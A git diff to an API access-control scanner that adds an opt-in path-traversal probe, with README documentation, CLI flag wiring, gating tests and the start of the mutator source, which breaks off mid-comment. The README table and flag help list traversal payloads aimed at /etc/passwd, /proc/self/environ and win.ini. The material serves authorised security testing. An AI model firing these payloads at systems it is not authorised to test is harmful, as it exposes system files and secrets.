diff --git a/README.md b/README.md
index b5c3fee..e865dc8 100755
--- a/README.md
+++ b/README.md
@@ -953,6 +953,66 @@ opt in — mirroring the gating of `--cache-deception`,
`--forbidden-bypass`, `--method-override`, `--csrf-header`,
`--ws-hijack`, `--xxe`, and `--mass-assign`.
+## Directory / path traversal (`--path-traversal`)
+
+Where `--forbidden-bypass` reshapes the request path so a fronting
+proxy's deny-rule matcher desynchronises from the upstream router
+(`/admin/..;/admin` resolves back to the SAME protected handler), and
+`--swap-object` / `--enumerate` stay INSIDE the resource collection
+(substitute another identity's known IDs, sweep neighbours), the
+`--path-traversal` flag attacks *the resource scope boundary itself*:
+the caller breaks OUT of the per-user / per-tenant subtree the route
+prefix was supposed to confine them to, and reaches an OS-sensitive
+file (`/etc/passwd`, `/proc/self/environ`, `windows/win.ini`) or a
+sibling-tenant directory the application never intended to expose. This
+is OWASP A01:2021 path traversal / Local File Inclusion at the
+request-path layer — the same vuln class behind the long tail of
+"directory traversal" advisories that every static-asset handler,
+per-user file API, and legacy report-export endpoint keeps
+re-discovering:
+
+```
+possession scan capture.har \
+ --matrix matrix.yaml \
+ --path-traversal
+```
+
+For each of six disjoint techniques and each of three high-signal
+target files, a separate variant is emitted in deterministic
+sorted-by-technique then sorted-by-target order. The trailing path
+segment of the captured request is replaced with the traversal
+payload; the base directory (everything up to and including the final
+`/`) is preserved so the variant rides the route the caller
+legitimately reached:
+
+| Technique | Wire-form payload | What it defeats |
+|---|---|---|
+| `dot-dot-slash` | `../../../../../../etc/passwd` | The textbook literal traversal — handlers that concatenate the segment onto a base directory without canonicalisation (`filepath.Join` strips it; many language runtimes do not). |
+| `dot-dot-encoded` | `..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd` | Middleware that filters the literal `../` but URL-decodes the path before the file lookup. RawPath keeps `%2f` un-double-encoded on the wire. |
+| `dot-dot-double-encoded` | `..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd` | Gateway/handler boundaries that each URL-decode independently — one decode produces `..%2f` (the literal-`../` filter sees no match), the second decode produces the real traversal. |
+| `nested-dot-dot` | `....//....//....//....//....//....//etc/passwd` | Hand-written sanitisers that strip a single `../` literal — after the filter removes one `../`, the remaining bytes collapse back into `../`. |
+| `null-byte-suffix` | `../../../../../../etc/passwd%00` | Extension-allowlist filters in C-backed handlers — the high-level string comparison sees a (post-NUL) suffix and approves; `read(2)` / `open(2)` terminate the path at NUL. |
+| `absolute-path` | `/etc/passwd` | Handlers that strip leading `../` segments but pass the rest through to a `File.open` / `fs.readFile` call that honours absolute paths. The payload has no `..` at all. |
+
+Every variant keeps the caller's own credentials (`Identity == nil`) —
+this is a same-caller scope-escape probe, not an identity swap. Root
+or empty paths emit no variants (there is no trailing segment to
+reshape). Findings are class `authz-bypass` (ASVS V12.3 — file &
+resource control). The mutation `Detail` carries both the technique
+and the target so the reporter (and any future repro-snippet
+generator) can quote both the original URL and the traversal payload
+the operator should re-fetch by hand to confirm the bytes returned
+match the target file.
+
+`--path-traversal` is **off by default**: the traversal payloads are
+active probes that — on a vulnerable target — exfiltrate the contents
+of OS-sensitive files, so it only fires when you opt in — mirroring
+the gating of `--prototype-pollution`, `--cache-deception`,
+`--content-type-confusion`, `--origin-spoof`, `--parameter-pollution`,
+`--header-injection`, `--cookie-tampering`, `--host-header`,
+`--forbidden-bypass`, `--method-override`, `--csrf-header`,
+`--ws-hijack`, `--xxe`, and `--mass-assign`.
+
## Role matrix
The role matrix is YAML. Minimum viable shape:
diff --git a/internal/cli/buildregistry_forbidden_test.go b/internal/cli/buildregistry_forbidden_test.go
index b27dcec..9e4415c 100644
--- a/internal/cli/buildregistry_forbidden_test.go
+++ b/internal/cli/buildregistry_forbidden_test.go
@@ -27,7 +27,7 @@ func protectedScanReq() *model.CapturedRequest {
// flows through buildRegistry: the mutator is always registered, but only
// emits variants when the flag is set.
func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -35,7 +35,7 @@ func TestBuildRegistry_ForbiddenBypassGating(t *testing.T) {
t.Fatalf("forbidden-bypass must always be registered, even when disabled")
}
- regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -60,7 +60,7 @@ func TestBuildRegistry_ForbiddenBypassWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -93,7 +93,7 @@ func wsScanReq() *model.CapturedRequest {
// buildRegistry: the mutator is always registered, but only emits variants when
// the flag is set.
func TestBuildRegistry_WSHijackGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -104,7 +104,7 @@ func TestBuildRegistry_WSHijackGating(t *testing.T) {
t.Errorf("disabled ws-hijack emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -125,7 +125,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -141,7 +141,7 @@ func TestBuildRegistry_WSHijackWithWordlist(t *testing.T) {
// through buildRegistry: the mutator is always registered, but only emits
// variants when the flag is set.
func TestBuildRegistry_MethodOverrideGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -152,7 +152,7 @@ func TestBuildRegistry_MethodOverrideGating(t *testing.T) {
t.Errorf("disabled method-override emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -172,7 +172,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -188,7 +188,7 @@ func TestBuildRegistry_MethodOverrideWithWordlist(t *testing.T) {
// buildRegistry: the mutator is always registered, but only emits variants when
// the flag is set.
func TestBuildRegistry_HostHeaderGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -199,7 +199,7 @@ func TestBuildRegistry_HostHeaderGating(t *testing.T) {
t.Errorf("disabled host-header emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -219,7 +219,7 @@ func TestBuildRegistry_HostHeaderWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -249,7 +249,7 @@ func cookieScanReq() *model.CapturedRequest {
// through buildRegistry: the mutator is always registered, but only emits
// variants when the flag is set.
func TestBuildRegistry_CookieTamperGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -260,7 +260,7 @@ func TestBuildRegistry_CookieTamperGating(t *testing.T) {
t.Errorf("disabled cookie-tamper emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -280,7 +280,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -296,7 +296,7 @@ func TestBuildRegistry_CookieTamperWithWordlist(t *testing.T) {
// flows through buildRegistry: the mutator is always registered, but only emits
// variants when the flag is set.
func TestBuildRegistry_HeaderInjectionGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -307,7 +307,7 @@ func TestBuildRegistry_HeaderInjectionGating(t *testing.T) {
t.Errorf("disabled header-injection emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -327,7 +327,7 @@ func TestBuildRegistry_HeaderInjectionWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -357,7 +357,7 @@ func pollutionScanReq() *model.CapturedRequest {
// flows through buildRegistry: the mutator is always registered, but only emits
// variants when the flag is set.
func TestBuildRegistry_ParamPollutionGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -368,7 +368,7 @@ func TestBuildRegistry_ParamPollutionGating(t *testing.T) {
t.Errorf("disabled parameter-pollution emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -388,7 +388,7 @@ func TestBuildRegistry_ParamPollutionWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -421,7 +421,7 @@ func ctcScanReq() *model.CapturedRequest {
// --content-type-confusion flag flows through buildRegistry: the mutator is
// always registered, but only emits variants when the flag is set.
func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -432,7 +432,7 @@ func TestBuildRegistry_ContentTypeConfusionGating(t *testing.T) {
t.Errorf("disabled content-type-confusion emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -453,7 +453,7 @@ func TestBuildRegistry_ContentTypeConfusionWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -484,7 +484,7 @@ func cdScanReq() *model.CapturedRequest {
// flows through buildRegistry: the mutator is always registered, but only
// emits variants when the flag is set.
func TestBuildRegistry_CacheDeceptionGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -495,7 +495,7 @@ func TestBuildRegistry_CacheDeceptionGating(t *testing.T) {
t.Errorf("disabled cache-deception emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -515,7 +515,7 @@ func TestBuildRegistry_CacheDeceptionWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -549,7 +549,7 @@ func ppScanReq() *model.CapturedRequest {
// flag flows through buildRegistry: the mutator is always registered, but
// only emits variants when the flag is set.
func TestBuildRegistry_PrototypePollutionGating(t *testing.T) {
- regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
if err != nil {
t.Fatalf("buildRegistry off: %v", err)
}
@@ -560,7 +560,7 @@ func TestBuildRegistry_PrototypePollutionGating(t *testing.T) {
t.Errorf("disabled prototype-pollution emitted %d variants; want 0", len(vs))
}
- regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true)
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false)
if err != nil {
t.Fatalf("buildRegistry on: %v", err)
}
@@ -581,7 +581,7 @@ func TestBuildRegistry_PrototypePollutionWithWordlist(t *testing.T) {
if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
t.Fatalf("write wordlist: %v", err)
}
- reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true)
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true, false)
if err != nil {
t.Fatalf("buildRegistry with wordlist: %v", err)
}
@@ -592,3 +592,67 @@ func TestBuildRegistry_PrototypePollutionWithWordlist(t *testing.T) {
t.Errorf("enabled prototype-pollution (wordlist path) emitted 0 variants")
}
}
+
+// ptScanReq returns a captured GET request authenticated as alice
+// against a per-user file endpoint, so the path-traversal mutator has
+// a trailing segment to reshape. Mirrors cdScanReq / ppScanReq for the
+// gating tests below.
+func ptScanReq() *model.CapturedRequest {
+ u, _ := url.Parse("https://api.example.com/api/files/photo.jpg")
+ h := http.Header{}
+ h.Set("Authorization", "Bearer alice-token")
+ return &model.CapturedRequest{
+ ID: "alice-photo",
+ Method: "GET",
+ URL: u,
+ Headers: h,
+ }
+}
+
+// TestBuildRegistry_PathTraversalGating proves the --path-traversal flag
+// flows through buildRegistry: the mutator is always registered, but only
+// emits variants when the flag is set.
+func TestBuildRegistry_PathTraversalGating(t *testing.T) {
+ regOff, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false)
+ if err != nil {
+ t.Fatalf("buildRegistry off: %v", err)
+ }
+ if regOff.Get("path-traversal") == nil {
+ t.Fatalf("path-traversal must always be registered, even when disabled")
+ }
+ if vs := regOff.Get("path-traversal").Generate(ptScanReq(), nil); len(vs) != 0 {
+ t.Errorf("disabled path-traversal emitted %d variants; want 0", len(vs))
+ }
+
+ regOn, err := buildRegistry("", 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true)
+ if err != nil {
+ t.Fatalf("buildRegistry on: %v", err)
+ }
+ m := regOn.Get("path-traversal")
+ if m == nil {
+ t.Fatalf("path-traversal missing from registry when enabled")
+ }
+ if vs := m.Generate(ptScanReq(), nil); len(vs) == 0 {
+ t.Errorf("enabled path-traversal emitted 0 variants; want > 0")
+ }
+}
+
+// TestBuildRegistry_PathTraversalWithWordlist verifies the alternate
+// (wordlist) construction path also wires the gated path-traversal
+// mutator.
+func TestBuildRegistry_PathTraversalWithWordlist(t *testing.T) {
+ f := t.TempDir() + "/wl.txt"
+ if err := os.WriteFile(f, []byte("secret\n"), 0o644); err != nil {
+ t.Fatalf("write wordlist: %v", err)
+ }
+ reg, err := buildRegistry(f, 0, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, true)
+ if err != nil {
+ t.Fatalf("buildRegistry with wordlist: %v", err)
+ }
+ if reg.Get("path-traversal") == nil {
+ t.Fatalf("path-traversal missing from wordlist-path registry")
+ }
+ if vs := reg.Get("path-traversal").Generate(ptScanReq(), nil); len(vs) == 0 {
+ t.Errorf("enabled path-traversal (wordlist path) emitted 0 variants")
+ }
+}
diff --git a/internal/cli/scan.go b/internal/cli/scan.go
index 99ce9b2..621c01d 100755
--- a/internal/cli/scan.go
+++ b/internal/cli/scan.go
@@ -69,6 +69,7 @@ var (
scanCTConfusion bool // --content-type-confusion: relabel the Content-Type so the WAF/gateway and the handler dispatch the body to different parsers (off by default)
scanCacheDeception bool // --cache-deception: decorate the URL with cacheable extensions/segments so a fronting cache stores the caller's personal response at a public key (off by default)
scanProtoPollution bool // --prototype-pollution: bury privileged properties under __proto__ / constructor.prototype / prototype keys in JSON object bodies so a deep-merge helper writes onto Object.prototype (Node.js authz bypass; off by default)
+ scanPathTraversal bool // --path-traversal: reshape the trailing path segment with `../` chains (literal, encoded, double-encoded, nested, null-byte-suffixed, absolute) to escape the resource scope and reach OS-sensitive files / sibling tenant directories (OWASP A01:2021 path traversal / LFI; off by default)
)
// scanCmd is the end-to-end scan command. Packets 1-3 contribute:
@@ -158,6 +159,8 @@ func init() {
"test Web Cache Deception (Omer Gil) access-control leakage using the caller's own credentials: decorate the URL with cacheable file-extension shapes (.css/.js/.png/.jpg/.ico/.gif/.svg) the application router strips or ignores but a fronting CDN / edge cache keys on, in four disjoint shapes — path-suffix (/api/me/possession.css), path-extension (/api/me.css), semicolon-suffix (/api/me;.css; Tomcat/Spring matrix-parameter), and encoded-suffix (/api/me%2fpossession.css; gateway/router URL-normalisation desync) — so the upstream still serves the caller's personal response while the cache stores it under a key any later (possibly unauthenticated) caller can fetch; endpoints already at a cacheable extension are skipped; disjoint from --forbidden-bypass (which mutates the path to defeat a deny rule) and --host-header (which spoofs the gate's host); off by default because the decorated variants observably warm an upstream cache at the decorated URL on the caller's behalf")
scanCmd.Flags().BoolVar(&scanProtoPollution, "prototype-pollution", false,
"test JavaScript prototype-pollution privilege escalation using the caller's own credentials: for each privileged property (admin, is_admin, isAdmin, role, roles, verified), bury it under the three canonical pollution vectors (__proto__, constructor.prototype, prototype) inside the JSON object request body so a Node.js deep-merge helper (lodash _.merge, $.extend(true,…), defaultsDeep, hand-rolled recursive Object.assign) walks past the prototype guard and writes the polluted property onto Object.prototype — every subsequent object in the process answers true for the flag and any downstream authz check that reads req.user.is_admin (or equivalent) is bypassed runtime-wide; arrays, scalars, and non-JSON bodies are skipped; disjoint from --mass-assign (which sets the same keys at the top level — a different vuln class with a different fix); off by default because the polluted JSON reaches deep-merge code paths whose effect is process-wide and persists for every concurrent user until the runtime restarts")
+ scanCmd.Flags().BoolVar(&scanPathTraversal, "path-traversal", false,
+ "test directory/path-traversal scope-escape using the caller's own credentials: replace the trailing path segment with six disjoint traversal payloads (literal `../`, percent-encoded `..%2f`, double-encoded `..%252f`, nested `....//`, null-byte-suffixed `%00`, and absolute-path) pointing at three high-signal target files (etc/passwd, proc/self/environ, windows/win.ini), so the caller breaks OUT of the resource collection the route prefix was supposed to confine them to and reaches OS-sensitive files or sibling-tenant directories the application never intended to expose; disjoint from --forbidden-bypass (which reshapes the path to resolve back to the SAME handler, e.g. /admin/..;/admin) and from --swap-object / --enumerate (which stay inside the resource collection); root/empty paths are skipped; off by default because the traversal payloads are active probes that exfiltrate sensitive file contents on a vulnerable target (OWASP A01:2021)")
}
func resetScanFlags() {
@@ -202,6 +205,7 @@ func resetScanFlags() {
scanCTConfusion = false
scanCacheDeception = false
scanProtoPollution = false
+ scanPathTraversal = false
}
func runScan(cmd *cobra.Command, args []string) error {
@@ -325,7 +329,7 @@ func runScan(cmd *cobra.Command, args []string) error {
// derived from its representative sample's auth components.
attributionWarnings := attributeEndpoints(endpoints, matrix)
- reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception, scanProtoPollution)
+ reg, err := buildRegistry(scanJWTWordlist, scanEnumerate, scanJWTAttack, scanMassAssign, scanXXE, scanGraphQL, scanForbidBypass, scanWSHijack, scanCSRFHeader, scanMethodOverride, scanHostHeader, scanCookieTamper, scanHeaderInject, scanParamPollution, scanOriginSpoof, scanCTConfusion, scanCacheDeception, scanProtoPollution, scanPathTraversal)
if err != nil {
return err
}
@@ -1249,10 +1253,11 @@ func buildEvaluator(name string, matrix *model.RoleMatrix) (detect.Evaluator, er
// cacheDeception is true.
// EnumerateID, JWTAuth, MassAssign, XXE, GraphQL, ForbiddenBypass, WSHijack,
// CSRFHeader, MethodOverride, HostHeader, CookieTamper, HeaderInjection,
-// ParamPollution, OriginSpoof, ContentTypeConfusion, CacheDeception, and
-// PrototypePollution are always registered but inert in their disabled state,
-// so the canonical DefaultRegistry order (and the order test) stays unchanged.
-func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception, protoPollution bool) (*mutate.Registry, error) {
+// ParamPollution, OriginSpoof, ContentTypeConfusion, CacheDeception,
+// PrototypePollution, and PathTraversal are always registered but inert in
+// their disabled state, so the canonical DefaultRegistry order (and the
+// order test) stays unchanged.
+func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, xxe, graphql, forbidBypass, wsHijack, csrfHeader, methodOverride, hostHeader, cookieTamper, headerInjection, paramPollution, originSpoof, ctConfusion, cacheDeception, protoPollution, pathTraversal bool) (*mutate.Registry, error) {
enumMutator := mutate.EnumerateID{N: enumerateN}
jwtAuthMutator := mutate.JWTAuth{Enabled: jwtAttack}
massAssignMutator := mutate.MassAssign{Enabled: massAssign}
@@ -1270,15 +1275,16 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x
ctConfusionMutator := mutate.ContentTypeConfusion{Enabled: ctConfusion}
cacheDeceptionMutator := mutate.CacheDeception{Enabled: cacheDeception}
protoPollutionMutator := mutate.PrototypePollution{Enabled: protoPollution}
+ pathTraversalMutator := mutate.PathTraversal{Enabled: pathTraversal}
if wordlistPath == "" {
// Extend the default registry with EnumerateID + JWTAuth +
// MassAssign + XXE + GraphQL + ForbiddenBypass + WSHijack + CSRFHeader +
// MethodOverride + HostHeader + CookieTamper + HeaderInjection +
// ParamPollution + OriginSpoof + ContentTypeConfusion + CacheDeception +
- // PrototypePollution (all no-op when disabled).
+ // PrototypePollution + PathTraversal (all no-op when disabled).
base := mutate.DefaultRegistry()
- all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator)
+ all := append(base.All(), enumMutator, jwtAuthMutator, massAssignMutator, xxeMutator, graphqlMutator, forbidMutator, wsHijackMutator, csrfHeaderMutator, methodOverrideMutator, hostHeaderMutator, cookieTamperMutator, headerInjectionMutator, paramPollutionMutator, originSpoofMutator, ctConfusionMutator, cacheDeceptionMutator, protoPollutionMutator, pathTraversalMutator)
return mutate.NewRegistry(all...), nil
}
data, err := os.ReadFile(wordlistPath)
@@ -1322,6 +1328,7 @@ func buildRegistry(wordlistPath string, enumerateN int, jwtAttack, massAssign, x
ctConfusionMutator,
cacheDeceptionMutator,
protoPollutionMutator,
+ pathTraversalMutator,
), nil
}
diff --git a/internal/mutate/path_traversal.go b/internal/mutate/path_traversal.go
new file mode 100644
index 0000000..45bb15c
--- /dev/null
+++ b/internal/mutate/path_traversal.go
@@ -0,0 +1,338 @@
+package mutate
+
+import (
+ "sort"
+ "strings"
+
+ "github.com/bugsyhewitt/possession/internal/model"
+)
+
+// PathTraversal is the directory/path-traversal access-control bypass mutator.
+// It targets the OWASP A01:2021 "Path Traversal / Local File Inclusion"
+// family at the request-path layer: the application maps the trailing path
+// segment (or a path-shaped parameter) onto a server-side file or resource
+// lookup, and an attacker reshapes that segment with `../` chains to escape
+// the intended resource scope and reference a parent directory the caller
+// was never authorised to reach. Classic targets are OS-shipped sensitive
+// files (`/etc/passwd`, Windows `win.ini`, `/proc/self/environ`); in
+// modern API surfaces the same shape escapes a per-user / per-tenant
+// resource subtree to reach a sibling tenant's directory or an
+// administrative resource the route prefix was supposed to gate.
+//
+// Where ForbiddenBypass (`traversal-semicolon`) reshapes the path to
+// desynchronise a fronting proxy's deny-rule matcher from the upstream
+// router (the same path resolves back to the SAME protected handler),
+// SwapObject substitutes a known-owner resource ID for another identity's
+// known-owner resource ID, and EnumerateID sweeps a numeric range around
+// the captured ID, PathTraversal escapes the resource scope ENTIRELY —
+// the rewritten path points at a parent-directory location the caller's
+// captured request had no reference to. The three mutators are
+// deliberately disjoint: SwapObject and EnumerateID test "can the caller
+// reach a sibling object inside the same resource collection?";
+// PathTraversal tests "can the caller break OUT of the resource
+// collection and reach something the route prefix was never supposed to
+// expose at all?" — a different vuln class with a different fix (input
+// canonicalisation versus per-object authorisation).
+//
+// Six technique families, each emitted as a separate variant for
+// attribution. Generation order is fixed (sorted-by-technique-name) so
+// identical inputs yield an identical variant slice (the offline corpus
+// and --dry-run cover it):
+//
+// - dot-dot-slash: the textbook literal `../` traversal. Replaces the
+// final path segment with N levels of `../` followed by the target
+// file. The classic CVE shape that still works against handlers that
